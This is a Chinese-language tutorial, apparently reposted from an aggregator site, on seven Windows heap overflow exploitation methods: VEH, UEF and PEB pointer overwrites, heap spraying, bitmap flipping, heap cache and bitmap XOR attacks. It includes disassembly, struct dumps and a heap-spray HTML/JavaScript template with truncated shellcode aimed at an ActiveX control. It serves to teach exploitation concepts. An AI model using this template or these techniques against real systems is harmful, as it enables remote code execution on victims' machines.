windows堆棧溢出利用的七種方式

文本由 www.169it.com 蒐集整理php

windows下的堆棧溢出攻擊和unix下的,原理基本相同。可是,因爲windows用戶進程地址空間分配和堆棧處理有其獨立的特色,致使了windows 環境下堆棧溢出攻擊時,使用的堆棧溢出字符串,與unix下的,區別很大。另外,windows的版本也致使了windows下的exploit不具備通用性。windows版本不一樣,而exploit使用了不少動態連接庫裏面的庫函數,其地址都是與dll的版本有關係的。不一樣的dll版本,裏面的庫函數的偏移地址就可能(注意:是可能)不一樣。由於windows的patch每天有,他的一些dll就更新很快。甚至可能不一樣語言版本的windows,其核心dll的版本都不一樣。用戶的dll一變動,那麼,咱們的exploit裏面的shellcode就要從新寫。html

  爲了解決這個問題,我想咱們能夠儘可能減小固定地址的使用。即,使用GetProcAddress來得到咱們將使用的每個系統函數,固然這就大大加長了咱們的shellcode。可是,這也沒法消除對kernel32.dll的中LoadLibrary和GetProcAddress的地址的直接引用,由於這兩個是shellcode中最基本的函數,天然就致使了對kernel32.dll版本的依賴。shell

1、利用VEHwindows

   向量化異常處理(VEH,Vectored Exception Handling)最初是在XP中公佈,它的優先級高於SEH,而且VEH是存在堆中的,它是你在代碼中明確添加的,並不伴隨try/catch之類的語句而產生,它也須要經過API(AddVectoredExceptionHandler)來註冊回調函數,並可註冊多個VEH,各個VEH結構體之間串成雙向鏈表,所以比SEH多了一個前??指針,其它更詳細的信息可參考《Windows XP中的向量化異常處理》一文:http://bbs.pediy.com/showthread.php?t=49868。每個VEH結構均存儲在堆上,其結構以下:數組

1
2
3
4
5
6
struct  _VECTORED_EXCEPTION_NODE
{
     DWORD    m_pNextNode;         //指向下一個_VECTORED_EXCEPION_NODE結構,所以可用僞造的指針來覆蓋它
     DWORD    m_pPreviousNode;         //指向上一個_VECTORED_EXCEPION_NODE結構
     PVOID    m_pfnVectoredHandler;     //異常處理函數
}

負責分發_VECTORED_EXCEPION_NODE的代碼以下:瀏覽器

1
2
3
4
5
77F7F49E   8B35 1032FC77    MOV ESI, DWORD  PTR DS:[77FC3210]    ;賦值後ESI指向_VECTORED_EXCEPION_NODE結構,即m_pNextNode
77F7F4A4   EB 0E            JMP  SHORT  ntdll.77F7F4B4
77F7F4A6   8D45 F8          LEA EAX, DWORD  PTR SS:[EBP-8]
77F7F4A9   50               PUSH EAX
77F7F4AA   FF56 08          CALL  DWORD  PTR DS:[ESI+8]        ;可用shellcode-0x8去覆蓋m_pNextNode指針

接着咱們在堆中肯定shellcode地址,可先用垃圾字符去填充,好比'0x41',而後在堆中搜索它。當發生堆溢出時,堆塊的前向指針和後向指針就會被篡改,好比異常出如今:緩存

1
2
MOV  DWORD  PTR DS:[ECX],EAX    ;EAX = Flink = 寫入的內容
MOV  DWORD  PTR DS:[EAX+4],ECX    ;ECX = Blink = 寫入的地址

那麼咱們就能夠用m_pNextNode-4來覆蓋ECX,而後用shellcode-8去覆蓋EAX。關於m_pNextNode指針的獲取,咱們只需在觸發異常後,按shift+F7步過異常便可找到此指針,好比如下代碼:dom

1
2
3
77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210        ;m_pNextNode指針
77F60C31   393D 1032FC77    CMP  DWORD  PTR DS:[77FC3210],EDI
77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

關於EAX和ECX的偏移地址可經過pattern_create和pattern_offset來獲取。這樣當觸發異常時就會調用VEH,而此時下一個VEH結構便是咱們特地構造的shellcode,這樣咱們的惡意代碼就有能夠被執行了。ide

2、利用UEF函數

  系統默認異常處理函數(UEF,Unhandler Exception Filter)是系統處理異常時最後調用的一個異常處理例程,在堆溢出中,只需將這一地址覆蓋爲咱們的shellcode地址便可。獲取UEF地址的方法能夠經過查看SetUnhandledExceptionFilter()的代碼來定位,接着再找到操做UnhandledExceptionFilter指針的MOV指令,好比如下代碼:

1
2
3
4
5
77E93114   A1 B473ED77      MOV EAX, DWORD  PTR DS:[77ED73B4]    ;UnhandledExceptionFilter指針
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE  SHORT  kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

如今咱們只需找到shellcode地址,或者看是否有某一寄存器reg恰好指向shellcode或其附近,而後用shellcode地址或者相似call [reg + offset]的指令地址來覆蓋UnhandledExceptionFilter指針,比較經常使用的指令如:

1
2
call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]

其它eax,ebx也有可能指向堆,亦可做爲跳板來用。

3、利用PEB

  因爲當UEF被調用後,它最終會調用ExitProcess()來結束程序,而它在清理現場時須要進入臨界區以同步線程,所以會調用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是經過存放在PEB中的一對指針來調用這兩個函數的,若是可以利用DWORD SHOOT把這對指針篡改爲shellcode入口地址,那麼在程序結束調用ExitProcess()就會執行shellcode。下面是在Windows XP SP3下PEB的狀況:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> dt _PEB
ntdll!_PEB
    +0x000 InheritedAddressSpace : UChar
    +0x001 ReadImageFileExecOptions : UChar
    +0x002 BeingDebugged    : UChar
    +0x003 SpareBool        : UChar
    +0x004 Mutant           : Ptr32 Void
    +0x008 ImageBaseAddress : Ptr32 Void
    +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
    +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
    +0x014 SubSystemData    : Ptr32 Void
    +0x018 ProcessHeap      : Ptr32 Void
    +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION     //根據此指針來間接進入臨界區
    +0x020 FastPebLockRoutine : Ptr32 Void
    +0x024 FastPebUnlockRoutine : Ptr32 Void
    +0x028 EnvironmentUpdateCount : Uint4B
    ……

但在WinXP SP2以後微軟就加入了PEB random保護,再也不使用固定的PEB基址,而使用具備必定隨機性的PEB基址,以提升利用的難度。

4、Heap Spary

   Heap Spary技術最先是由SkyLined於2004年爲IE的iframe漏洞寫的exploit而使用到新技術,目前主要做爲瀏覽器攻擊的經典方法,被大量網馬所使用。Heap Spary技術是使用js分配內存,所分配的內存均放入堆中,而後用各帶有shellcode的堆塊去覆蓋一大片內存地址,Javascript分配內存從低址向高址分配,申請的內存空間超出了200M,即大於了0x0C0C0C0C時,0x0C0C0C0C就會被覆蓋掉,所以只要讓IE執行到0x0C0C0C0C(有時也會用0x0D0D0D0D這一地址)就能夠執行shellcode,這些堆塊能夠用NOP + shellcode 來填充,每塊堆構造1M大小便可,固然這也不是固定。這樣當nop區域命中0x0c0c0c0c時,就可執行在其後面的shellcode。下面是一個簡單模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
< html >
< body >
< object  classid = "clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"  id = "target" ></ object >
< script >
Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
     nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i< 200 ; i++)
{
     slide[i] = nop + shellcode;
}
var  s '' ;
while (s.length < 748)
{
     s+="\x0c";
}
target.Overflow(s);
</script>
</ body >
</ html >

5、Bitmap Flipping Attack

   在 Heap Management 結構中包含有Freelist Bitmap標誌位,它是一個4字節的DWORD值,當對應的FreeList[n]被填充時,bitmap就將被設置。當請求分配堆塊時,它會先搜索與之大小合適的FreeList[n],而後檢測對應的bitmap,若上面爲0就表示上面是塊未使用的空閒塊,則對應的FreeList[n]將用於分配配塊,接着返回到對應的請求塊FreeList[n]指向的地址。所以若是咱們能夠控制Bitmap,並可以覆蓋freelist[n]中的值,那麼咱們就能夠經過它來執行任意代碼。

6、Heap Cache Attack

   Heap Cache主要用於下降頻繁遍歷FreeList[0]的性能消耗,以提升性能。它主要是爲FreeList[0]中的堆塊建立擴展索引,更重要的是,Heap Manager並無將任何空閒塊移動緩存中,這些空閒塊一直保存在FreeList[0]中,但緩存中保存着一些指針,它們指向FreeList[0]中的某些節點,以此來提高訪問FreeList[0]的速度。堆緩存是一個bucket數組,每個bucket包含有intptr_t字節用於存儲大小,還有一個NULL指針或者FreeList[0]上的堆塊指針。默認狀況下,數組包括有896個bucket,其大小在1024和8192之間,但大小是可配置的,咱們可指定最大的緩存索引號。在堆緩存攻擊技術中又存在各類利用方式,好比De-synchronization Attack(經過覆寫堆塊頭信息中的大小域,使每次請求同等大小堆塊時都指向同一塊已經使用的內存塊,若是攻擊者可能控制這一內存塊中的內容,就有可能致使任意代碼執行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……這些方法有很大的侷限性,在實際運用上很難派上用場,若想獲取更多關於這方面的信息能夠參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。

7、Bitmap XOR Attack

   Bitmap XOR Attack 是經過異或操做來更改 freelist bitmap,若是系統嘗試清除這一錯誤的標誌位,那麼就可能從一個空閒位(free bit)切換到設置位(set bit),進而實現相似上文提到的bitmap attack。這個能夠經過篡改堆塊頭信息中的大小域(CurSize),使其小於0x80,接着再使對應堆塊中的前向指向與後向指針相等(flink == blink),並保證其指向的地址是可讀的。更多信息能夠參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。後面這幾種方法實際利用價值不大,權當了解,學習思路更爲重要。



相關文章
相關標籤/搜索